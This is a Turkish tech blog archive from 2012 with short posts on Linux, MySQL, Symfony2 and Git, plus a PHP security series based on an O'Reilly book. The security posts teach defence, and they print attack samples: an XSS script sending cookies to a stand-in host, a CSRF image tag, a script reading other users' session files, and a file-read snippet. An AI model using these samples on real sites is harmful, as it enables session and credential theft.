19 Aralık 2012 Çarşamba
Kullandığım Linux 32-bit mi 64-bit mi?
13 Aralık 2012 Perşembe
/bin/sh g++ not found hatası (linux - Code::Blocks IDE)
sudo aptitude install build- essential2)
sudo apt-get install g++İyi çalışmalar. Devamı için : /bin/sh g++ not found hatası (linux - Code::Blocks IDE)
12 Aralık 2012 Çarşamba
Password Gorilla

10 Aralık 2012 Pazartesi
Port Nedir
7 Aralık 2012 Cuma
firefox için facebook messenger
6 Aralık 2012 Perşembe
ubuntu linux'ta kullanilabilir hafizayi goruntuleme
khantunckale@ubuntu:~$ cat /proc/meminfoŞu şekilde bir sonuç alacaksınız;
MemTotal: 3954800 kB MemFree: 156684 kB Buffers: 485796 kB Cached: 886536 kB SwapCached: 18008 kB Active: 2190888 kB Inactive: 1360296 kB Active(anon): 1615564 kB Inactive(anon): 732660 kB Active(file): 575324 kB Inactive(file): 627636 kB Unevictable: 34088 kB Mlocked: 31396 kB SwapTotal: 262136 kB SwapFree: 231068 kB Dirty: 212 kB Writeback: 0 kB AnonPages: 2195176 kB Mapped: 148332 kB Shmem: 160852 kB Slab: 97052 kB SReclaimable: 67508 kB SUnreclaim: 29544 kB KernelStack: 4224 kB PageTables: 42932 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 2239536 kB Committed_AS: 5800120 kB VmallocTotal: 34359738367 kB VmallocUsed: 359120 kB VmallocChunk: 34359372476 kB HardwareCorrupted: 0 kB AnonHugePages: 0 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 104092 kB DirectMap2M: 2953216 kBDevamı için : ubuntu linux'ta kullanilabilir hafizayi goruntuleme
Konsoldan mysql versionunu ogrenmek
echo "SELECT VERSION()" | mysql -u root -p{sifre}yazdığınızda ekranınızda kullandığınız mysql versiyonu gözükecektir. Devamı için : Konsoldan mysql versionunu ogrenmek
3 Aralık 2012 Pazartesi
uzun süre calisan mysql processleri oldurmek
<? var_dump(mysql_connect("localhost", "{kullanici_adi}", "{root_sifresi}")); $result = mysql_query("SHOW FULL PROCESSLIST"); $i=0; while ($row=mysql_fetch_array($result)) { $process_id=$row["Id"]; if ($row["Time"] > 5000 ) { $sql="KILL $process_id"; $i++; mysql_query($sql); } } echo $i." adet islem sonlandirilmistir"; ?>Devamı için : uzun süre calisan mysql processleri oldurmek
1 Aralık 2012 Cumartesi
mysql acik baglantilari ve processleri goruntuleme
mysql> show status like 'Conn%'; +-----------------------+---------+ | Variable_name | Value | +-----------------------+---------+ | Connections | 78 | +-----------------------+---------+ 1 row in set (0.00 sec)Aynı şekilde eğer show status like '%onn%' komutunu çalıştırdığımızda da bu sefer connection ile ilgili diğer alanların da sonuçları gelir karşımıza.
mysql> show status like '%onn%'; +-------------------------------------+----------+ | Variable_name | Value | +-------------------------------------+----------+ | Aborted_connects | 1 | | Connections | 78 | | Max_used_connections | 1 | | Ssl_client_connects | 0 | | Ssl_connect_renegotiates | 0 | | Ssl_finished_connects | 0 | | Threads_connected | 1 | +-------------------------------------+----------+ 7 rows in set (0.00 sec)Bunlara ek olarak bir de process list görüntüleyebiliriz, onu da şu komutla gerçeklememiz mümkün; show processlist
mysql> show processlist; +----+------+--------------+-------+---------------+--------+--------+-------------------------+ | Id | User | Host | db | Command | Time | State | Info | +----+------+---------------+---------+------------+------+-----------+-------------------------+ | 77 | root | localhost | NULL | Query | 0 | NULL | show processlist | +----+------+---------------+---------+-------------+------+----------+-------------------------+ 1 row in set (0.02 sec)Mysql ile işlem yaparken bu son komutu çalıştırdığınızda, daha farklı sonuçlar alabileceğinizi deneyerek görebilirsiniz. Devamı için : mysql acik baglantilari ve processleri goruntuleme
28 Kasım 2012 Çarşamba
Üniversitelerde Microsofta HAYIR
27 Kasım 2012 Salı
Chrome ve lanet olası onbellegi
Php ignore_user_abort fonksiyonu
ignore_user_abort(true);komutuna ihtiyacınız var. Bu komut ile birlikte
set_time_limit(0);verirseniz de kodunuz; çalıştıran istemci veya süre kısıtlaması olmadan sonsuza dek çalışacaktır. http://php.net/manual/tr/function.ignore-user-abort.php adresinden de okumaya devam edebilirsiniz. Devamı için : Php ignore_user_abort fonksiyonu
26 Kasım 2012 Pazartesi
Zend guard license is not valid hatasi

23 Kasım 2012 Cuma
Linuxta Wget ile Ftp den klasor cekmek
wget -r ftp://1.2.3.4/ --user {username} --password {password}Devamı için : Linuxta Wget ile Ftp den klasor cekmek
20 Kasım 2012 Salı
Deloitte Teknoloji Fast 50 Turkiye 2012 Sonuclari

Maili Post ile gondermek - Cloudmailin

17 Kasım 2012 Cumartesi
network - LLDP (Link Layer Discovery Protocol) nedir?
13 Kasım 2012 Salı
Mysql baska tabloda kaydi olmayan kayitlari silmek
SELECT u.uye_id FROM `uyeler` u WHERE NOT EXISTS (SELECT yorum_id FROM yorumlar y WHERE y.uye_id = u.uye_id)Çok fazla detaya girmeden anlattım, anlamayan olursa tabi ki detaylıca yardım edebilirim. Umarım işinize yarayacaktır. Devamı için : Mysql baska tabloda kaydi olmayan kayitlari silmek
12 Kasım 2012 Pazartesi
PayPal Maestro Card destegi
Şimdi PayPal ile online alışveriş yaparken daha fazla ödeme seçeneğiniz var. PayPal hesabınıza Maestro banka kartınızı ekleyin ve harcamalarınızı banka hesabınızdan dilediğinizce yapma özgürlügünü yaşayın. PayPal'da Maestro kartınız ile ister dizüstü bilgisayarınızdan, ister akıllı telefonunuzdan, ister tabletinizden kolay ve güvenli alışverişin keyfini çıkarın.Maestro card'ın normal kartlardan çeşitli farklılıkları var. Uzun bir süredir, maestro card desteği beklenen paypal, bu problemi de gidermiş oldu. Devamı için : PayPal Maestro Card destegi
10 Kasım 2012 Cumartesi
Java JAR Dosyasi Yaratma - Bolum 2
Eclipse
- Package Explorer ekranında jar dosyasını oluşturmak istediğimiz projeye sağ tıklıyoruz. Açılan menüden Export seçeneğine tıklıyoruz.
- Açılan ekranda Java altında JAR File seçeneğini seçerek Next diyoruz.
- Açılan ekranda, istenilen proje ve paketleri seçiyoruz. Alttaki seçeneklerde, oluşturulan class dosyalarını ve kaynakları eklemek için "Export generated class files and resources" seçeneğini, kaynak dosyaları eklemek için "Export java source files and resources" seçeneğini seçiyoruz. JAR File bölümünde jar dosyasını oluşturmak istediğimiz yeri seçiyoruz. Seçenekler kısmında, eğer jar dosyasını sıkıştırmak istiyorsak "Compress the contents of jar file" seçeneğini, dizinlendirmelerin olduğu gibi eklenmesini istiyorsak "Add directory entries" seçeneğini, herhangi bir uyarı vermeden eski jar dosyası üzerine yazmak istiyorsak "Overwrite existing files without warning" seçeneğini seçiyoruz ve Next diyoruz.
- Açılan ekranda, Next diyoruz.
- Açılan ekranda, eğer manifest dosyasının otomatik yaratılmasını istiyorsak, "Generate manifest file" seçeneğini, kendi oluşturduğumuz manifest dosyasını eklemek istiyorsak, "Use existing manifest from workspace" seçeneğini seçerek manifest dosyasının yerini seçiyoruz. Eğer, projemiz bir kütüphane değil de çalıştırılabilir bir uygulama olacak ise "Main class" seçeneğinden uygulamanın hangi sınıfdan başlayacağını seçiyoruz (sınıfın main metoduna sahip olması gerekiyor).
Netbeans
Netbeans'te işlemler biraz daha kolay ama seçenekler de Eclipse'e göre daha az.- Projects ekranında jar dosyasını oluşturmak istediğimiz projeye sağ tıklıyoruz. Açılan menüden Properties seçeneğine tıklıyoruz.
- Açılan ekranda Build > Packaging'e tıklıyoruz. Sağ tarafta "JAR File" kısmında dosyanın oluşacağı klasör belirtiliyor (proje klasörünün altında). "Exclude From JAR File" kısmında jar dosyasına eklemek istemediğimiz dosyaları yazıyoruz. Örnekte, tüm java ve form uzantılı dosyalara eklenmeyecek şekilde seçim yapılmış. Eğer, jar dosyasını sıkıştırmak istiyorsak, "Compress JAR file" seçeneğini, eğer proje derlendikten sonra jar dosyasının otomatik olarak oluşmasını istiyorsak (bu örnekte bu şekilde oluşturacağız), "Build JAR after Compiling" seçeneğini, eğer kullandığımız kütüphaneleri de jar dosyasına eklemek istiyorsak, "Copy dependent libraries" seçeneğini seçerek OK'ye tıklıyoruz.
- Projects ekranında jar dosyasını oluşturmak istediğimiz projeye sağ tıklıyoruz. Açılan menüden Clean and Build seçeneğine tıklıyoruz. Bu işlemden sonra jar dosyası "proje yolu/dist/" klasörü altında oluşmuş oluyor.
7 Kasım 2012 Çarşamba
Mysql Tekrar Eden Verilerin Hepsini Listelemek
SELECT list.email, list.customer_id FROM list INNER JOIN ( SELECT email FROM list GROUP BY email HAVING COUNT( customer_id ) >1 ) duplicate ON list.email = duplicate.email ORDER BY list.email ASC
Umarım işinize yarar.Devamı için : Mysql Tekrar Eden Verilerin Hepsini Listelemek
bson - binary json nedir?
byte | 1 byte (8-bits) |
int32 | 4 bytes (32-bit signed integer) |
int64 | 8 bytes (64-bit signed integer) |
double | 8 bytes (64-bit IEEE 754 floating point) |
{"hello": "world"} → "\x16\x00\x00\x00\x02hello\x00\x06\x00\x00\x00world\x00\x00"Bu adresten, başka örneklere ve içerisinde saklanan söz dizimlerine ulaşabilirsiniz. Önemli olan bir nokta, MongoDB, ağ ve disk yönetiminde BSON kullanmaktadır. Çoğu dil için, MongoDB'nin driverı mevcuttur (C, C++, Java, Perl, PHP, Python, Perl, Ruby vs.) Onların listesine de buradan ulaşabilirsiniz. İyi çalışmalar. Devamı için : bson - binary json nedir?
6 Kasım 2012 Salı
Corona Debugger Kullanımı

MySQL Tekrar Eden Verileri Bulmak
3 Kasım 2012 Cumartesi
FTP den yanlislikla .svn veya .git klasorunu da yuklemek
31 Ekim 2012 Çarşamba
Ubuntu Gnome Extension
- https://extensions.gnome.org/ adresine giriyoruz.
- Sayfamızın üst kısmında çıkan yönergeye izin veriyoruz ve erişim izni tanımlamış oluyoruz.
- İstediğimiz eklentinin detay sayfasına girerek "Off" konumda olan butonu "On" konumuna alıyoruz.
- On konumuna aldıktan sonra açılan onay penceresine "Install" diyoruz ve eklentimiz hemen geliyor.
30 Ekim 2012 Salı
Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS
Boostrap Kurulumu
Öncelikle Bootstrap CSS indirip uygulamamıza dahil edelim. Şu adresten Bootstrap için gerekli dosyaları indirdikten sonra web klasörü altına açıyoruz. Daha sonra kullandığımız layout içerisinde bootstrap için gerekli dosyaları dahil ediyoruz.# app/Resources/views/base.html.twig
<head><link href="{{ asset('css/bootstrap.min.css') }}" rel="stylesheet"></head>
<body>
<script type="text/javascript" src="{{ asset('js/bootstrap.min.js') }}"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script></body>Bootstrap ile birlikte kullanabileceğiniz bazı javascript eklentileri de bulunuyor, bunlar jQuery gerektirdiğinden bu kütüphaneyi de dahil ediyoruz.
Symfony2 Formlarını Özelleştirmek
Symfony2'de oluşturduğumuz formları sayfada gösterirken bazı fonksiyonlar kullanıyoruz. Örneğin integer tipinde bir alanı integer_widget metodundan faydalanıyoruz. Fakat oluşan çıktının formatını değiştirmek istersek, iki yöntem kullanabiliriz. Birisi sadece ilgili fom için bu metodun çıktısını değiştirmek. Bu her ne kadar daha basit gibi görünse de, aynı işleme başka yerde ihtiyacımız olduğunda eziyet olacaktır. Bu yüzden bu yönteme ek olarak tüm formlarda bir metodun çıktısını değiştirmek için de bir yöntem bulunuyor. Önce sadece ilgili formda form_widget metodunu değiştirelim:#src\Dubluve\NewBundle\Default\new.html.twig
{% extends '::base.html.twig' %} {% form_theme form _self %}
{% block form_row %} {% spaceless %} <div class="control-group"> {{ form_label(form) }} {{ form_errors(form) }} <div class="controls">{{ form_widget(form) }}</div> </div> {% endspaceless %} {% endblock form_row %}
{% block content %} {{ form_row(form.email) }} {% endblock %}Bu sayfada kullanılan form için form_row metodu farklı bir çıktı oluşturacak, fakat diğer sayfalardaki formlar için çıktı aynı olacaktır. Eğer bu değişikliğin tüm formlar için geçerli olmasını istiyorsak kendi formatlarımızın bulunduğu bir dosya oluşturmamız gerekiyor. Yeni dosyada çıktısını değiştirmek istediğimiz metodlar olacak, diğerleri ise eskisi gibi çıktı oluşturmaya devam edecek. Yeni dosyayı proje klasörü içerisinde src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig dosyasını yaratıyoruz.
#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %}
{% block form_row %}
{% spaceless %} <div> {{ form_label(form) }} {{ form_errors(form) }} <div>{{ form_widget(form) }}</div> </div> {% endspaceless %} {% endblock form_row %}Dosyadaki extends ifadesi, değiştirilmeyen form elemanlarının eskisi gibi kalacağını ifade ediyor. Dosyayı oluşturduktan sonra config.yml dosyasını da aşağıdaki şekilde güncelliyoruz ve yeni dosyamızın global olarak kullanılacağını belirtiyoruz.
# Twig Configuration twig: form: resources: - 'DubluveNewBundle:Form:bootstrap.html.twig'
Bootstrap İle Entegrasyon
Yukarıdaki yöntemleri anlattıktan sonra aslında sadece bootstrap ile değil herhangi bir CSS framework ile entegrasyon oldukça basit. Aslında sadece bootstrap dosyalarını sisteme entegre etmek bile güzel bir görünüm sağlıyor :) Hazırladığım projede tüm formların bootstrap dokümantasyonunda anlatılan horizontal-form formatında olmasını ve hata mesajlarının bootstrap formatında çıkmasını istemiş ve dosyayı buna göre düzenlemiştim. Aşağıda kullandığım dosyayı görebilirsiniz.#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %} {% block form_row %} {% spaceless %} {% if not form.children %} <div class="control-group"> {{ form_label(form) }} {{ form_errors(form) }} <div class="controls">{{ form_widget(form) }}</div> </div> {% else %} {{ form_errors(form) }} {{ form_widget(form) }} {% endif %} {% endspaceless %} {% endblock form_row %} {% block form_label %} {% spaceless %} {% if not compound %} {% set label_attr = label_attr|merge({'for': id}) %} {% endif %} {% if required %} {% set label_attr = label_attr|merge({'class': (label_attr.class|default('') ~ ' required control-label')|trim}) %} {% endif %} {% if label is empty %} {% set label = name|humanize %} {% endif %} <label {% for attrname, attrvalue in label_attr %} {{ attrname }}="{{ attrvalue }}"{% endfor %} >{{ label|trans({}, translation_domain) }}</label> {% endspaceless %} {% endblock form_label %}
{% block form_errors %} {% spaceless %} {% if errors|length > 0 %} {% for error in errors %} <div class="alert alert-error">{{ error.messagePluralization is null ? error.messageTemplate|trans(error.messageParameters, 'validators') : error.messageTemplate|transchoice(error.messagePluralization, error.messageParameters, 'validators') }}</div> {% endfor %} {% endif %} {% endspaceless %} {% endblock form_errors %}Devamı için : Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS
29 Ekim 2012 Pazartesi
Online Storage Hizmetleri Kiyaslamasi
Hizmetin Adı | Ücretsiz Alan | Desteklediği Ortam | URL |
---|---|---|---|
DropBox | 2GB | Windows, Mac, Linux + Mobil Cihazlar | https://www.dropbox.com/ |
UbuntuOne | 5GB | Windows, Mac, Linux + Mobil Cihazlar | https://one.ubuntu.com/ |
GoogleDrive | 5GB | Windows, Mac, Linux + Mobil Cihazlar | https://drive.google.com |
iCloud | 5GB | Apple Cihazlar | https://www.icloud.com/ |
SkyDrive | 7GB | Windows, Mac, Linux + Mobil Cihazlar | http://windows.microsoft.com/en-US/skydrive/download |
26 Ekim 2012 Cuma
ipad3 ve usb sarj problemi - asus ai charger
25 Ekim 2012 Perşembe
Foreign key nedir - Foreign key aksiyonlari
Foreign Key Nedir?
Ön not : Foreign key için türkçe bir ifade bulamadım. Foreign key'ler, farklı tablolardaki sütunlar için ilişki ve kısıt uygulama yoludur. Bu durumda ilişkili tablolardan bazıları çocuk bazıları da ebeveyn tablo gibi anılabilir. Bu iş, tıpkı OOP deki sınıf ilişkilerine benzer. Örneğin bir Üye ve bu üyeye ait birden fazla adres bilgisi tutuluyorsa, bir üye tablosu ve bir adres tablosuna ihtiyacımız olacak. Bu adres tablosunda da üyeye ait tekil (unique) bir değer (join etmek için dahi olsa) bulunması gerekecektir. Bu noktada anlatılmak istenen, o tekil değer üzerinden foreign key tanımlarsak dünya daha yaşanabilir bir yer haline gelebilir ;) Aşağıdaki aksiyonları tanımlayarak, manuel olarak yapılacak bir çok işlemden aslında otomatik olarak kurtulabiliriz.Foregin key aksiyonları:
Farklı foreign key kısıt aksiyonlari (kategorileri) vardır. Bunlar nasıl tetiklendiklerine ve nasıl zorlandıklarıan göre değişmektedir :- Cascade: (basamaklamak) Ebeveyen tablodan bir satır silindiğinde, aynı foreign key'e sahip satırların tümü çocuk tablodan da silinir. Veya ana tablodaki foreign key tanımlanan sütun üstündeki değişimler, bu çocuk tablodaki ilgili satırlar için de uygulanır.
- Restrict: (kısıtlamak)Yavru tabloda bir değişiklik meydana geliyorsa, ebeveyn tablodaki silme işlemi yapılamaz. Aynı şekilde değeri de değiştirilemez.
- No Action: (işlem yok) No action, restrict e çok benzer. Ancak işlemi engellemek yerine, manuel olarak store precedure vb ile ilgili işlemi manuel olarak giderme fırsatı verir.
- Set NULL: (Null atamak) Foregin key tanımlanacak sütun için NULL izin verilen bir değer ise, ebeveyen tabloda bir değişiklik veya silme işlemi olduktan sonra, çocuk tablodaki ilgili sütun NULL atanır.
- Set Default: (Varsayılan Atamak) Eğer foreign key tanımlanan sütun için varsayılan bir değer atanmış ise, Ana tabloda yapılan değişiklikten sonra çocuk tablodaki değerler Varsayılan olana atanır.
percona server nedir
Percona, Mysql ve InnoDb performansında uzman
23 Ekim 2012 Salı
Git Versiyon Kontrol Sistemi - Başlangıç

Git Kurulumu (Linux - Ubuntu)
Git'in bağlı olduğu bazı kütüphanelerin kurulumunu gerçekleştirmek gerekiyor öncelikle. Bunlar curl, zlib, openssl, expat ve libiconv kütüphaneleridir. Bunun için şöyle bir komut yazıyoruz: $ sudo apt-get install libcurl4-gnutls-dev libexpat1-dev gettext \libz-dev libssl-dev Daha sonra aşağıdaki komutu yazarak git kurulumunu gerçekleştirmeniz gerekmektedir. $ sudo apt-get install git-coreGit Konfigürasyon Ayarları
Aşağıdaki komutları kullanarak isminiz ve email adresiniz gibi bilgileri tanıtabilirsiniz. $ git config --global user.name "Ferid Mövsümov" $ git config --global user.email faridmovsumov@gmail.com Burada --global kullanarak ayarlarınızın sistem bazında tanıtılmasını sağlamış olursunuz. Yani makinenizdeki bütün git işlemleri için bu ayarlar geçerli olacaktır. Yorumlarınızı yazarken kullanılacak varsayılan editörü belirlemek için aşağıdaki komutu kullanabilirsiniz. Eğer bu ayarı belirtmezseniz sisteminizdeki varsayılan editör kullanılacaktır. $ git config --global core.editor emacs Versiyonlar arasındaki değişiklikleri incelemenizi sağlayan varsayılan diff aracını belirlemek için aşağıdaki komut kullanılabilir $ git config --global merge.tool vimdiff Sistemde tanımlı olan git ayarlarını görmek için aşağıdaki komutu kullanmanız gereklidir. git config --listGit Yardım Komutları
$ git help <verb> $ git <verb> --help $ man git-<verb> KAYNAK: http://git-scm.com/book Devamı için : Git Versiyon Kontrol Sistemi - Başlangıç22 Ekim 2012 Pazartesi
Sirketlerde Bilgi Guvenliginin Onemi


Php Guvenlik - 3
Session Güvenliği

Login Formlarının Güvenliği
Sisteminize kayıtlı üyenin kullanıcı adı, şifre bilgilerini yazarak sisteme giriş yapacağı formların güvenliğinin sağlanması çok önemli bir güvenlik konusudur. Sisteme giriş yapmak isteyen bir saldırgan sürekli farklı şifreler deneyen bir bot tasarlayarak sisteminize giriş yapmaya çalışacaktır. Bu tarz botları engellemek amacıyla çeşitli güvenlik önlermleri alınabilir. Bunlardan bir tanesi sisteme giriş formunuzda captcha kullanmaktır. Bu çözüm başarılı olsa da kullanıcıları sıkan bir yöntem olduğundan bu yöntemi tercih etmek istemeyebilirsiniz. Alacağınız bir diğer güvenlik önlemi ise bir kişinin art arda belli bir zaman aralığında yanlış şifre denemesi yaptığını tespit ederek onun belli bir süre sisteme giriş yapmasını engellemektir. Bu süre 15 dk olarak belirlenebilir. Örneğin 3 kere yanlış şlifre girilirse bir daha deneme yapmak için 15 dk beklemesi gerekecek. Bu tarz bir yöntem saldırganın işini oldukça zorlaştıracaktır. Http isteklerinin saldırgan tarafından dinlenmesi ihtimali göz önüne alınarak bu isteklerin güvenli bir şekilde gidip gelmesi amacıyla https protokolü kullanılabilir. Bu şekilde server ve client arasındaki veri akışı bir saldırgan tarafından ele geçirilse bile içeriğin ne olduğu kolay kolay çözülemeyecektir.Paylaşımlı Hosting Kullanımından Doğabilecek Güvenlik Açıkları
Paylaşımlı hosting üzerindeki başka bir sitenin sahibi olan geliştirici sizin kaynak kodlarınızı okuyabilecek bir script geliştirebilir. Aşağıdaki gibi bir kodda file isminmi belirtmek bu işi gerçerkleştirmek için yeterlidir. <?php header('Content-Type: text/plain'); readfile($_GET['file']); ?> Bu güvenlik açığını engellemek amacıyla alacağınız önemli önlemlerden bir tanesi de çok önemli bilgileri mümkün olduğunca veritabanında tutmaya çalışmaktır. Ancak bu da her zaman çözüm değildir çünkü veritabanı erişim bilgilerini yine de kaynak kodlarımız içerisinde tutmamız gerekecek. Bu soruna da şöyle bir çözüm getirebiliriz. Veritabanı erişim bilgilerini sadece root erişimi olacak şekilde ayarlarız. SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass" Bu değişkenlere kod içerisinde şu şekilde erişebiliriz: <?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> Önemli verileriniz $_SERVER değişkeninde olduğundan bu bilgileri kullanıcya sunabilecek phpinfo() fonksiyonunun kullanıcılara açık bir yerde kullanılmasından kaçının. Session verilerinizin de güvenliği paylaşımlı hosting kullanımlarında tehlike altındadır. Session bilgileri tmp dosyası altında tutulur ve bu dosya bütün apache kullanıcılarının yazma izniyle erişebileceği bir yerdir. Kötü niyetli bir kişi session verilerinin yazacağı bir script yardımıyla okuyabilir. Bu script aşağıdaki gibi olabilir. <?php header('Content-Type: text/plain'); session_start(); $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $data = file_get_contents("$path/$filename"); if (!empty($data)) { session_decode($data); $session = $_SESSION; $_SESSION = array(); echo "Session [" . substr($filename, 5) . "]\n"; print_r($session); echo "\n--\n\n"; } } } ?> Böyle bir güvenlik açığını kapatmanın yolu session bilgilerini veritabanında tutmaktır.Php safe mode
Bu mod açık ise bir script çalıştırıldığında o scripti ç.alıştıran kullanıcı ile erişilmeye çalışılan kaynak sahibinin aynı kullanıcı olup olmadığı kontrol edilir. Böylece başka bir kullanıcının sizin dosyalarınıza erişimi engellenmiş olur. Safe Mode php ile yazılmış scriptler için güvenlik sağlarken diğer dillerde yazılmış olan scriptler açısından bir şey ifade etmez. Aşağıdaki gibi bir CGI scripti buna örnektir. #!/bin/bash echo "Content-Type: text/plain" echo "" cat /home/victim/inc/db.inc Host tarafından desteklenen Perl, Phyton gibi dillerde yazılacak scriptlerin hiçbiri safe mode ayarını dikkate almayacaktır. Safe modun bir diğer zayıf tarafı ise scriptlerin kendi içerisinde yeni script yaratabilir ve bu yaratılan yeni scriptin sahibi web server olacaktır. Web server bütün dosyalara erişim hakkına sahip olduğundan safe modun burada herhangi güvenlik etkisi kalmayacaktır. Kaynak : Php Essential Security- O'Reilly Devamı için : Php Guvenlik - 3Php Guvenlik - 2
Web uygulamaları genellikle dışarıdan verileri formlar aracılığıyla alır. Bu nedenle güvenlik açısından en çok dikkat edilmesi gereken yert formlardır. Kullanıcı verileri GET, POST veya HTTP HEADER (örn: Cookieler ) ile gönderebilir.
Kullanıcıdan bir belge yüklenmesi isteniyorsa, sunucu tarafında belgenin belli bir büyüklükte olmasına dair kontrol yapılmalıdır. Php nin is_uploaded_file() fonksiyonu kullanılarak bu belgenin gerçekten yüklenip yüklenmediğini kontrol etmek mantıklı olabilir. Aşağıdaki gibi bir kod parçasıyla gerekli kontrolü yapabiliriz
<?php
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
/* $_FILES['attachment']['tmp_name'] is an uploaded file. */
}
?>Upload edilen belgeleri daha kalıcı bir yere taşınmak istenirse aşağıdaki gibi bir kod kullanılabilir.
<?php
$old_filename = $_FILES['attachment']['tmp_name'];
$new_filename = '/path/to/attachment.txt';
if (move_uploaded_file($old_filename, $new_filename))
{
/* $old_filename is an uploaded file, and the move was successful. */
}
?> Güvenlik açısından en önemli kural mümkün olduğunca az güvenmektir. Her aşamada şüpheci olmakta fayda vardır.Cross Site Scripting (XSS)
Bu saldırı türü çok sık görülen saldırı türlerinden bir tanesidir. Kullanıcıdan aldığı veriyi gösteren her bir uygulama bu saldırı türüne maruz kalma riski taşımaktadır. Web sitemizde kullanıcıların yorum yazdığı bölüme aşağıdaki gibi bir kod parçası girildiğini varsayalım <script>document.location = 'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script> Saldırgan bu script çalıştığı taktirde, ilgili, web sayfasını görüntüleyen kullanıcının cookie bilgilerini çalabilir ($_GET['cookies'] içerisindeki herşeye ulaşabilir) ve kendi sitesine yönlendirerek bu bilgileri daha sonra kötü amaçlarla kullanılmak üzere kaydedebilir. Kullanıcıya gösterilecek her bir veri en azından htmlentities( ) fonksiyonundan geçirilerek bu saldırı türünü kolayca engellenebilir. Aşağıda bu saldırıya karşı geliştirilmiş bir güvenlik önlemi gösterilmektedir. <?php$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');
$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');
echo "<p>{$html['name']} writes:<br />";
echo "<blockquote>{$html['comment']}</blockquote></p>";
?>CSRF Saldırıları (Cross-Site Request Forgeries)
Saldırgan sizin sitenize giriş yapmış bir kullanıcıya bir url'yi ziyaret etmesini sağlayarak o kullanıcının kendi bilgisi dışında bir işlem gerçekleştirmesini sağlayabilir. Örnek olarak aşağıdaki url'yi inceleyelim. http://store.example.org/buy.php?item=pen&quantity=1 Sizin alışveriş sitenizde bir kullanıcının 1 adet kalem almasını sağlayan url yukarıdaki gibidir. Sisteminize kullanıcı adı ve şifresiyle giriş yapmış her bir kullanıcı bu bağlantıya tıkladığında bir adet kalem satın almış olur. Böylece saldırgan bu url adresine yönlendirme yapan bir linke tıklamanızı sağlarsa sizin bilginiz dışında alışveriş yaomanızı sağlamış olur. Saldırgan bu saldırı yöntemiyle sizin isteminiz dışında şifrenizi bile değiştirecek boyutta büyük zararlar vererek yaptırmak istediği her türlü işlemi size yaptırabilir. Saldırganın yapması gereken tek şey sizi belli bir url adresine yönlendirmek olduğunda bunu çeşitli yöntemlerle gerçekleştirebilir. Bu yöntemlerden en yaygını bir tıklama işlemi yapmanıza bile gerek kalmadan size gösterilen bir resmin içerisine tıklama işlemini otomatik olarak gerçekleştiren kodlar gömmektir. HTML tagı img'nin src atrribute değerinde yer alan url için browserlar ayrı bir istek gönderir bu sayede saldırganbu kod sayesinde istediği url'ye istek göndermemizi sağlayabilir. Örneği aşağıdaki gibidir. <img src="http://store.example.org/buy.php?item=pencil&quantity=50" /> Bu saldırı türüne karşı alınabilecek güvenlik önlemleri şu şekilde sıralanabilir: GET yerine POST kullanmanız saldırganın işini zorlaştıracaktır. Aşağıda CSRF saldırısnın önüne tamamen geçmeyi amaçlayan bir form örneği gösterilmiştir. <?phpsession_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>
<form action="buy.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>
Item:
<select name="item">
<option name="pen">pen</option>
<option name="pencil">pencil</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form> Gelen verileri doğrulama işlemi ise şu şekilde yapılacaktır. <?phpif (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
{
/* Valid Token */
}
?> Güvenliği daha da güçlendirmek için bir tokenin sadece 5 dakika boyunca kullanılmasını sağlayabiliriz. <?php$token_age = time() - $_SESSION['token_time'];
if ($token_age <= 300)
{
/* Less than five minutes has passed. */
}
?> KAYNAK: Essential Php Security Kitabı- O' Rielly Devamı için : Php Guvenlik - 2Php Guvenlik - 1
Php ile kod yazarken dikkat etmeniz gereken güvenlik önlemleri ile ilgili aldığım notları birkaç bölüm halinde aktarmaya çalışacağım.
Sistemde herhangi bir hata mesajının kullanıcılara gösterilmesi ciddi bir güvenlik açığıdır. Bütün hata mesajları log dosyalarına yazılmalıdır.Hata mesajlarının güvenlikle ilgili ciddi açıklara neden olabilecek bilgiler yer alabilir. Aşağıdaki kodları kullanarak hataların loglara yazılması sağlanabilir. Ayrıca kritik bilgiler içerebilecek olan hata mesajlarının kullanıcılara gösterilmesinin önüne geçmiş olursunuz.
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/usr/local/apache/logs/error_log'); Hata durumlarında çalıştırılmak üzere özel fonksiyonlarımızı yazabiliriz. Bu fonksiyonların hata esnasında çalışması için şu şekilde bir kod yazılabilir. set_error_handler('my_error_handler');Aşağıda hata durumunda çalıştırılabilecek örnek bir fonksiyon örneği bulunmaktadır.
function my_error_handler($number, $string, $file, $line, $context)
{
$error = "= == == == ==\nPHP ERROR\n= == == == ==\n";
$error .= "Number: [$number]\n";
$error .= "String: [$string]\n";
$error .= "File: [$file]\n";
$error .= "Line: [$line]\n";
$error .= "Context:\n" . print_r($context, TRUE) . "\n\n";
error_log($error, 3, '/usr/local/apache/logs/error_log');
}
Aşağıdaki gibi bir kullanım ile sadece Uyarılar için fonksiyonumuzun çalışmasını sağlamış oluruz
